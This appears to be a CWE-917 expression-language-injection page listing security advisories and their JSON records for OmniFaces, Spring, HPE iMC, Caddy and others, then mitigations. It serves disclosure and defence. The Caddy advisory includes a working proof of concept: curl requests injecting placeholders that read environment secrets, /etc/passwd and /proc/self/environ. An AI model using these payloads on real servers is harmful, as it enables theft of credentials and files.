CWE-917
AllowedImproper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')
Abstraction: Base · Status: Incomplete
The product constructs all or part of an expression language (EL) statement in a framework such as a Java Server Page (JSP) using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended EL statement before it is executed.
170 vulnerabilities reference this CWE, most recent first.
GHSA-VP6R-9M58-5XV8
Vulnerability from github – Published: 2026-04-16 21:31 – Updated: 2026-05-13 13:29Impact
Server-side EL injection leading to Remote Code Execution (RCE). Affects applications that use CDNResourceHandler with a wildcard CDN mapping (e.g. libraryName:*=https://cdn.example.com/*). An attacker can craft a resource request
URL containing an EL expression in the resource name, which is evaluated server-side.
The severity depends on the EL implementation and the objects available in the EL context. In the worst case this leads to Remote Code Execution (RCE). At minimum it allows information disclosure and denial of service.
Applications using CDNResourceHandler without wildcard mappings (i.e. only explicit resource-to-URL mappings) are not affected.
Patches
Fixed in versions 5.2.3, 4.7.5, 3.14.16, 2.7.32, and 1.14.2. Users should upgrade to the appropriate version for their branch.
Workarounds
Replace wildcard CDN mappings with explicit resource-to-URL mappings. For example, replace:
libraryName:*=https://cdn.example.com/*
with individual entries:
libraryName:resource1.js=https://cdn.example.com/resource1.js,
libraryName:resource2.js=https://cdn.example.com/resource2.js
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.omnifaces:omnifaces"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.14.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.omnifaces:omnifaces"
},
"ranges": [
{
"events": [
{
"introduced": "2.0-RC1"
},
{
"fixed": "2.7.32"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.omnifaces:omnifaces"
},
"ranges": [
{
"events": [
{
"introduced": "3.0-RC1"
},
{
"fixed": "3.14.16"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.omnifaces:omnifaces"
},
"ranges": [
{
"events": [
{
"introduced": "4.0-M1"
},
{
"fixed": "4.7.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c 5.2.2"
},
"package": {
"ecosystem": "Maven",
"name": "org.omnifaces:omnifaces"
},
"ranges": [
{
"events": [
{
"introduced": "5.0-M1"
},
{
"fixed": "5.2.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41883"
],
"database_specific": {
"cwe_ids": [
"CWE-917"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-16T21:31:14Z",
"nvd_published_at": "2026-05-08T16:16:11Z",
"severity": "HIGH"
},
"details": "### Impact\n\nServer-side EL injection leading to Remote Code Execution (RCE). Affects applications that use `CDNResourceHandler` with a wildcard CDN mapping (e.g. `libraryName:*=https://cdn.example.com/*`). An attacker can craft a resource request\nURL containing an EL expression in the resource name, which is evaluated server-side.\n\nThe severity depends on the EL implementation and the objects available in the EL context. In the worst case this leads to Remote Code Execution (RCE). At minimum it allows information disclosure and denial of service.\n\nApplications using `CDNResourceHandler` without wildcard mappings (i.e. only explicit resource-to-URL mappings) are **not** affected.\n\n### Patches\n\nFixed in versions 5.2.3, 4.7.5, 3.14.16, 2.7.32, and 1.14.2. Users should upgrade to the appropriate version for their branch.\n\n### Workarounds\n\nReplace wildcard CDN mappings with explicit resource-to-URL mappings. For example, replace:\n```\nlibraryName:*=https://cdn.example.com/*\n```\nwith individual entries:\n```\nlibraryName:resource1.js=https://cdn.example.com/resource1.js,\nlibraryName:resource2.js=https://cdn.example.com/resource2.js\n```",
"id": "GHSA-vp6r-9m58-5xv8",
"modified": "2026-05-13T13:29:55Z",
"published": "2026-04-16T21:31:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/omnifaces/omnifaces/security/advisories/GHSA-vp6r-9m58-5xv8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41883"
},
{
"type": "PACKAGE",
"url": "https://github.com/omnifaces/omnifaces"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "OmniFaces: EL injection via crafted resource name in wildcard CDN mapping"
}
GHSA-W24X-87MR-4R23
Vulnerability from github – Published: 2022-06-24 00:00 – Updated: 2022-06-25 07:21A Spring Data MongoDB application is vulnerable to SpEL Injection when using @Query or @Aggregation-annotated query methods with SpEL expressions that contain query parameter placeholders for value binding if the input is not sanitized.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.springframework.data:spring-data-mongodb"
},
"ranges": [
{
"events": [
{
"introduced": "3.4.0"
},
{
"fixed": "3.4.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"3.4.0"
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.springframework.data:spring-data-mongodb"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.3.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-22980"
],
"database_specific": {
"cwe_ids": [
"CWE-917"
],
"github_reviewed": true,
"github_reviewed_at": "2022-06-25T07:21:52Z",
"nvd_published_at": "2022-06-23T17:15:00Z",
"severity": "CRITICAL"
},
"details": "A Spring Data MongoDB application is vulnerable to SpEL Injection when using @Query or @Aggregation-annotated query methods with SpEL expressions that contain query parameter placeholders for value binding if the input is not sanitized.",
"id": "GHSA-w24x-87mr-4r23",
"modified": "2022-06-25T07:21:52Z",
"published": "2022-06-24T00:00:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-22980"
},
{
"type": "WEB",
"url": "https://tanzu.vmware.com/security/cve-2022-22980"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "SpEL Injection in Spring Data MongoDB"
}
GHSA-W2QC-F2CG-6XJV
Vulnerability from github – Published: 2022-05-24 17:31 – Updated: 2022-05-24 17:31A faultstatchoosefaulttype expression language injection remote code execution vulnerability was discovered in HPE Intelligent Management Center (iMC) version(s): Prior to iMC PLAT 7.3 (E0705P07).
{
"affected": [],
"aliases": [
"CVE-2020-7150"
],
"database_specific": {
"cwe_ids": [
"CWE-917"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-10-19T18:15:00Z",
"severity": "CRITICAL"
},
"details": "A faultstatchoosefaulttype expression language injection remote code execution vulnerability was discovered in HPE Intelligent Management Center (iMC) version(s): Prior to iMC PLAT 7.3 (E0705P07).",
"id": "GHSA-w2qc-f2cg-6xjv",
"modified": "2022-05-24T17:31:16Z",
"published": "2022-05-24T17:31:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7150"
},
{
"type": "WEB",
"url": "https://support.hpe.com/hpsc/doc/public/display?docLocale=en_US\u0026docId=emr_na-hpesbnw04036en_us"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-W4F8-299W-GQ66
Vulnerability from github – Published: 2022-05-24 17:31 – Updated: 2022-05-24 17:31A sshconfig expression language injection remote code execution vulnerability was discovered in HPE Intelligent Management Center (iMC) version(s): Prior to iMC PLAT 7.3 (E0705P07).
{
"affected": [],
"aliases": [
"CVE-2020-7182"
],
"database_specific": {
"cwe_ids": [
"CWE-917"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-10-19T18:15:00Z",
"severity": "HIGH"
},
"details": "A sshconfig expression language injection remote code execution vulnerability was discovered in HPE Intelligent Management Center (iMC) version(s): Prior to iMC PLAT 7.3 (E0705P07).",
"id": "GHSA-w4f8-299w-gq66",
"modified": "2022-05-24T17:31:19Z",
"published": "2022-05-24T17:31:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7182"
},
{
"type": "WEB",
"url": "https://support.hpe.com/hpsc/doc/public/display?docLocale=en_US\u0026docId=emr_na-hpesbnw04036en_us"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-W4F9-4CG9-7XQX
Vulnerability from github – Published: 2026-06-11 15:31 – Updated: 2026-06-11 15:31Improper neutralization of special elements used in an expression language statement ('expression language injection') vulnerability in Soagen Informatics Technologies Software and Consulting Inc. Apinizer allows Code Injection.
This issue affects Apinizer: from 2026.04.0 before 2026.04.6.
{
"affected": [],
"aliases": [
"CVE-2026-11561"
],
"database_specific": {
"cwe_ids": [
"CWE-917"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-11T13:16:32Z",
"severity": "MODERATE"
},
"details": "Improper neutralization of special elements used in an expression language statement (\u0027expression language injection\u0027) vulnerability in Soagen Informatics Technologies Software and Consulting Inc. Apinizer allows Code Injection.\n\nThis issue affects Apinizer: from 2026.04.0 before 2026.04.6.",
"id": "GHSA-w4f9-4cg9-7xqx",
"modified": "2026-06-11T15:31:32Z",
"published": "2026-06-11T15:31:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11561"
},
{
"type": "WEB",
"url": "https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-26-0365"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WCW3-9JCF-M8JC
Vulnerability from github – Published: 2022-05-24 17:31 – Updated: 2022-05-24 17:31A operationselect expression language injection remote code execution vulnerability was discovered in HPE Intelligent Management Center (iMC) version(s): Prior to iMC PLAT 7.3 (E0705P07).
{
"affected": [],
"aliases": [
"CVE-2020-7164"
],
"database_specific": {
"cwe_ids": [
"CWE-917"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-10-19T18:15:00Z",
"severity": "CRITICAL"
},
"details": "A operationselect expression language injection remote code execution vulnerability was discovered in HPE Intelligent Management Center (iMC) version(s): Prior to iMC PLAT 7.3 (E0705P07).",
"id": "GHSA-wcw3-9jcf-m8jc",
"modified": "2022-05-24T17:31:17Z",
"published": "2022-05-24T17:31:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7164"
},
{
"type": "WEB",
"url": "https://support.hpe.com/hpsc/doc/public/display?docLocale=en_US\u0026docId=emr_na-hpesbnw04036en_us"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-WFJ5-2MQR-7JVV
Vulnerability from github – Published: 2022-02-10 23:06 – Updated: 2021-07-29 18:20Netflix Conductor uses Java Bean Validation (JSR 380) custom constraint validators. When building custom constraint violation error messages, different types of interpolation are supported, including Java EL expressions. If an attacker can inject arbitrary data in the error message template being passed to ConstraintValidatorContext.buildConstraintViolationWithTemplate() argument, they will be able to run arbitrary Java code.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.25.3"
},
"package": {
"ecosystem": "Maven",
"name": "com.netflix.conductor:conductor-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.25.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-9296"
],
"database_specific": {
"cwe_ids": [
"CWE-917"
],
"github_reviewed": true,
"github_reviewed_at": "2021-05-12T14:18:14Z",
"nvd_published_at": "2020-06-16T14:15:00Z",
"severity": "CRITICAL"
},
"details": "Netflix Conductor uses Java Bean Validation (JSR 380) custom constraint validators. When building custom constraint violation error messages, different types of interpolation are supported, including Java EL expressions. If an attacker can inject arbitrary data in the error message template being passed to ConstraintValidatorContext.buildConstraintViolationWithTemplate() argument, they will be able to run arbitrary Java code.",
"id": "GHSA-wfj5-2mqr-7jvv",
"modified": "2021-07-29T18:20:14Z",
"published": "2022-02-10T23:06:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-9296"
},
{
"type": "WEB",
"url": "https://github.com/Netflix/security-bulletins/blob/master/advisories/nflx-2020-001.md"
},
{
"type": "WEB",
"url": "https://github.com/Netflix/security-bulletins/blob/master/advisories/nflx-2020-002.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Expression Language Injection in Netflix Conductor"
}
GHSA-WQJG-875R-6JPW
Vulnerability from github – Published: 2022-05-24 17:31 – Updated: 2022-05-24 17:31A ictexpertcsvdownload expression language injection remote code execution vulnerability was discovered in HPE Intelligent Management Center (iMC) version(s): Prior to iMC PLAT 7.3 (E0705P07).
{
"affected": [],
"aliases": [
"CVE-2020-7149"
],
"database_specific": {
"cwe_ids": [
"CWE-917"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-10-19T18:15:00Z",
"severity": "CRITICAL"
},
"details": "A ictexpertcsvdownload expression language injection remote code execution vulnerability was discovered in HPE Intelligent Management Center (iMC) version(s): Prior to iMC PLAT 7.3 (E0705P07).",
"id": "GHSA-wqjg-875r-6jpw",
"modified": "2022-05-24T17:31:15Z",
"published": "2022-05-24T17:31:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7149"
},
{
"type": "WEB",
"url": "https://support.hpe.com/hpsc/doc/public/display?docLocale=en_US\u0026docId=emr_na-hpesbnw04036en_us"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-WVHH-MM56-49C7
Vulnerability from github – Published: 2023-03-28 18:30 – Updated: 2023-04-01 03:30Databasir v1.0.7 was discovered to contain a remote code execution (RCE) vulnerability via the mockDataScript parameter.
{
"affected": [],
"aliases": [
"CVE-2023-27821"
],
"database_specific": {
"cwe_ids": [
"CWE-917"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-03-28T17:15:00Z",
"severity": "CRITICAL"
},
"details": "Databasir v1.0.7 was discovered to contain a remote code execution (RCE) vulnerability via the mockDataScript parameter.",
"id": "GHSA-wvhh-mm56-49c7",
"modified": "2023-04-01T03:30:16Z",
"published": "2023-03-28T18:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-27821"
},
{
"type": "WEB",
"url": "https://github.com/vran-dev/databasir/issues/269"
},
{
"type": "WEB",
"url": "https://github.com/luelueking/Databasir-1.0.7-vuln-poc"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WWHQ-W58M-W29C
Vulnerability from github – Published: 2026-05-19 19:35 – Updated: 2026-05-19 19:35TL;DR
CVE-2026-30852 fixed double expansion in vars_regexp when the variable key is a placeholder (e.g. {http.vars.x}). The fix does NOT protect literal key names (e.g. tenant_id). An attacker injects {env.AWS_SECRET_ACCESS_KEY} or {file./etc/passwd} via a request header → Caddy expands it on the second pass → secrets leaked in response headers.
Affected: Caddy v2.11.0 through v2.11.2 (latest). All versions since the CVE-2026-30852 fix.
Root Cause
modules/caddyhttp/vars.go, lines 215-217:
valExpanded = varStr
if !fromPlaceholder {
valExpanded = repl.ReplaceAll(varStr, "") // ← SECOND EXPANSION
}
Same issue at line 358-360 in MatchVarsRE.
fromPlaceholder is false when the variable key is a literal string (not wrapped in {}). The fix only protects fromPlaceholder=true.
Expansion chain:
- Config:
vars tenant_id {http.request.header.X-Tenant-ID} - Request header:
X-Tenant-ID: {env.SECRET} - Pass 1 (
VarsMiddleware.ServeHTTP, line 63):repl.ReplaceAll("{http.request.header.X-Tenant-ID}", "")→ resolves to literal string{env.SECRET}. Stored in vars map. - Pass 2 (
VarsMatcher.MatchWithError, line 217):repl.ReplaceAll("{env.SECRET}", "")→ resolves to the actual secret value. - Leaked value reflected in response header
X-Tenant-IDor forwarded to backend viareverse_proxy.
Impact
- Environment variable disclosure:
{env.AWS_SECRET_ACCESS_KEY},{env.DATABASE_URL}, etc. - Arbitrary file read (up to 1MB):
{file./etc/passwd},{file./proc/self/environ} - System info:
{system.hostname},{system.os} - Full env dump in one request:
{file./proc/self/environ}
Realistic Attack Scenario
API gateway pattern - Caddy captures a tenant ID header, validates it with vars_regexp, and reflects it in response headers or forwards to a backend. This is a common production pattern for multi-tenant routing.
# Caddyfile
:8080 {
vars tenant_id {http.request.header.X-Tenant-ID}
@has_tenant vars_regexp tenant tenant_id (.+)
handle @has_tenant {
header X-Tenant-ID "{re.tenant.1}"
reverse_proxy tenant-backend:8080
}
respond "Missing X-Tenant-ID header" 400
}
# docker-compose.yml
services:
caddy:
image: caddy:2.11.2
ports:
- "8080:8080"
volumes:
- ./Caddyfile:/etc/caddy/Caddyfile:ro
environment:
- SECRET_API_KEY=sk-SUPER-SECRET-KEY-12345
- DATABASE_URL=postgresql://admin:p4ssw0rd@db.internal:5432/production
- AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
- INTERNAL_TOKEN=eyJhbGciOiJIUzI1NiJ9.INTERNAL_ONLY
Attacker sends: X-Tenant-ID: {env.AWS_SECRET_ACCESS_KEY}
Response contains: X-Tenant-ID: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
Reproduce
docker compose up -d
sleep 2
# Normal request — works as expected
curl -sI -H "X-Tenant-ID: acme-corp" http://localhost:8080/ | grep X-Tenant
# X-Tenant-Id: acme-corp
# Leak env var via response header
curl -sI -H "X-Tenant-ID: {env.SECRET_API_KEY}" http://localhost:8080/ | grep X-Tenant
# X-Tenant-Id: sk-SUPER-SECRET-KEY-12345
# Leak AWS credentials
curl -sI -H "X-Tenant-ID: {env.AWS_SECRET_ACCESS_KEY}" http://localhost:8080/ | grep X-Tenant
# X-Tenant-Id: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
# Read arbitrary file
curl -sI -H "X-Tenant-ID: {file./etc/passwd}" http://localhost:8080/ | grep X-Tenant
# Dump ALL env vars (Linux)
curl -s -H "X-Tenant-ID: {file./proc/self/environ}" http://localhost:8080/
Confirmed Test Output (Caddy v2.11.2)
$ curl -sI -H "X-Tenant-ID: acme-corp" http://localhost:8080/ | grep -i x-tenant
X-Tenant-Id: acme-corp
X-Routed-To: tenant-acme-corp
$ curl -sI -H "X-Tenant-ID: {env.SECRET_API_KEY}" http://localhost:8080/ | grep -i x-tenant
X-Tenant-Id: sk-SUPER-SECRET-KEY-12345
X-Routed-To: tenant-sk-SUPER-SECRET-KEY-12345
$ curl -sI -H "X-Tenant-ID: {env.AWS_SECRET_ACCESS_KEY}" http://localhost:8080/ | grep -i x-tenant
X-Tenant-Id: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
X-Routed-To: tenant-wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
$ curl -sI -H "X-Tenant-ID: {file./etc/hostname}" http://localhost:8080/ | grep -i x-tenant
X-Tenant-Id: 06140d4a8645
Fix
Apply expansion guard to BOTH branches:
// vars.go line 215-217 — fix:
valExpanded = varStr
// REMOVE: if !fromPlaceholder {
// valExpanded = repl.ReplaceAll(varStr, "")
// }
Or sanitize vars stored from user input before re-expansion.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/caddyserver/caddy/v2"
},
"ranges": [
{
"events": [
{
"introduced": "2.11.0"
},
{
"last_affected": "2.11.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-917"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-19T19:35:47Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "# \n\n## TL;DR\n\nCVE-2026-30852 fixed double expansion in `vars_regexp` when the variable key is a placeholder (e.g. `{http.vars.x}`). The fix does NOT protect literal key names (e.g. `tenant_id`). An attacker injects `{env.AWS_SECRET_ACCESS_KEY}` or `{file./etc/passwd}` via a request header \u2192 Caddy expands it on the second pass \u2192 secrets leaked in response headers.\n\n**Affected:** Caddy v2.11.0 through v2.11.2 (latest). All versions since the CVE-2026-30852 fix.\n\n## Root Cause\n\n`modules/caddyhttp/vars.go`, lines 215-217:\n\n```go\nvalExpanded = varStr\nif !fromPlaceholder {\n valExpanded = repl.ReplaceAll(varStr, \"\") // \u2190 SECOND EXPANSION\n}\n```\n\nSame issue at line 358-360 in `MatchVarsRE`.\n\n`fromPlaceholder` is `false` when the variable key is a literal string (not wrapped in `{}`). The fix only protects `fromPlaceholder=true`.\n\n### Expansion chain:\n\n1. Config: `vars tenant_id {http.request.header.X-Tenant-ID}`\n2. Request header: `X-Tenant-ID: {env.SECRET}`\n3. **Pass 1** (`VarsMiddleware.ServeHTTP`, line 63): `repl.ReplaceAll(\"{http.request.header.X-Tenant-ID}\", \"\")` \u2192 resolves to literal string `{env.SECRET}`. Stored in vars map.\n4. **Pass 2** (`VarsMatcher.MatchWithError`, line 217): `repl.ReplaceAll(\"{env.SECRET}\", \"\")` \u2192 resolves to the actual secret value.\n5. Leaked value reflected in response header `X-Tenant-ID` or forwarded to backend via `reverse_proxy`.\n\n## Impact\n\n- **Environment variable disclosure:** `{env.AWS_SECRET_ACCESS_KEY}`, `{env.DATABASE_URL}`, etc.\n- **Arbitrary file read (up to 1MB):** `{file./etc/passwd}`, `{file./proc/self/environ}`\n- **System info:** `{system.hostname}`, `{system.os}`\n- **Full env dump in one request:** `{file./proc/self/environ}`\n\n## Realistic Attack Scenario\n\nAPI gateway pattern - Caddy captures a tenant ID header, validates it with `vars_regexp`, and reflects it in response headers or forwards to a backend. This is a common production pattern for multi-tenant routing.\n\n```\n# Caddyfile\n:8080 {\n vars tenant_id {http.request.header.X-Tenant-ID}\n @has_tenant vars_regexp tenant tenant_id (.+)\n handle @has_tenant {\n header X-Tenant-ID \"{re.tenant.1}\"\n reverse_proxy tenant-backend:8080\n }\n respond \"Missing X-Tenant-ID header\" 400\n}\n```\n\n```\n# docker-compose.yml\nservices:\n caddy:\n image: caddy:2.11.2\n ports:\n - \"8080:8080\"\n volumes:\n - ./Caddyfile:/etc/caddy/Caddyfile:ro\n environment:\n - SECRET_API_KEY=sk-SUPER-SECRET-KEY-12345\n - DATABASE_URL=postgresql://admin:p4ssw0rd@db.internal:5432/production\n - AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\n - INTERNAL_TOKEN=eyJhbGciOiJIUzI1NiJ9.INTERNAL_ONLY\n```\n\nAttacker sends: `X-Tenant-ID: {env.AWS_SECRET_ACCESS_KEY}`\nResponse contains: `X-Tenant-ID: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY`\n\n## Reproduce\n\n```bash\ndocker compose up -d\nsleep 2\n\n# Normal request \u2014 works as expected\ncurl -sI -H \"X-Tenant-ID: acme-corp\" http://localhost:8080/ | grep X-Tenant\n# X-Tenant-Id: acme-corp\n\n# Leak env var via response header\ncurl -sI -H \"X-Tenant-ID: {env.SECRET_API_KEY}\" http://localhost:8080/ | grep X-Tenant\n# X-Tenant-Id: sk-SUPER-SECRET-KEY-12345\n\n# Leak AWS credentials\ncurl -sI -H \"X-Tenant-ID: {env.AWS_SECRET_ACCESS_KEY}\" http://localhost:8080/ | grep X-Tenant\n# X-Tenant-Id: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\n\n# Read arbitrary file\ncurl -sI -H \"X-Tenant-ID: {file./etc/passwd}\" http://localhost:8080/ | grep X-Tenant\n\n# Dump ALL env vars (Linux)\ncurl -s -H \"X-Tenant-ID: {file./proc/self/environ}\" http://localhost:8080/\n```\n\n## Confirmed Test Output (Caddy v2.11.2)\n\n```\n$ curl -sI -H \"X-Tenant-ID: acme-corp\" http://localhost:8080/ | grep -i x-tenant\nX-Tenant-Id: acme-corp\nX-Routed-To: tenant-acme-corp\n\n$ curl -sI -H \"X-Tenant-ID: {env.SECRET_API_KEY}\" http://localhost:8080/ | grep -i x-tenant\nX-Tenant-Id: sk-SUPER-SECRET-KEY-12345\nX-Routed-To: tenant-sk-SUPER-SECRET-KEY-12345\n\n$ curl -sI -H \"X-Tenant-ID: {env.AWS_SECRET_ACCESS_KEY}\" http://localhost:8080/ | grep -i x-tenant\nX-Tenant-Id: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\nX-Routed-To: tenant-wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\n\n$ curl -sI -H \"X-Tenant-ID: {file./etc/hostname}\" http://localhost:8080/ | grep -i x-tenant\nX-Tenant-Id: 06140d4a8645\n```\n\n## Fix\n\nApply expansion guard to BOTH branches:\n\n```go\n// vars.go line 215-217 \u2014 fix:\nvalExpanded = varStr\n// REMOVE: if !fromPlaceholder {\n// valExpanded = repl.ReplaceAll(varStr, \"\")\n// }\n```\n\nOr sanitize vars stored from user input before re-expansion.",
"id": "GHSA-wwhq-w58m-w29c",
"modified": "2026-05-19T19:35:47Z",
"published": "2026-05-19T19:35:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/caddyserver/caddy/security/advisories/GHSA-wwhq-w58m-w29c"
},
{
"type": "PACKAGE",
"url": "https://github.com/caddyserver/caddy"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Caddy CVE-2026-30852 Fix Bypass"
}
Mitigation
Avoid adding user-controlled data into an expression interpreter when possible.
Mitigation
- If user-controlled data must be added to an expression interpreter, one or more of the following should be performed:
- Validate that the user input will not evaluate as an expression
- Encode the user input in a way that ensures it is not evaluated as an expression
Mitigation
The framework or tooling might allow the developer to disable or deactivate the processing of EL expressions, such as setting the isELIgnored attribute for a JSP page to "true".
No CAPEC attack patterns related to this CWE.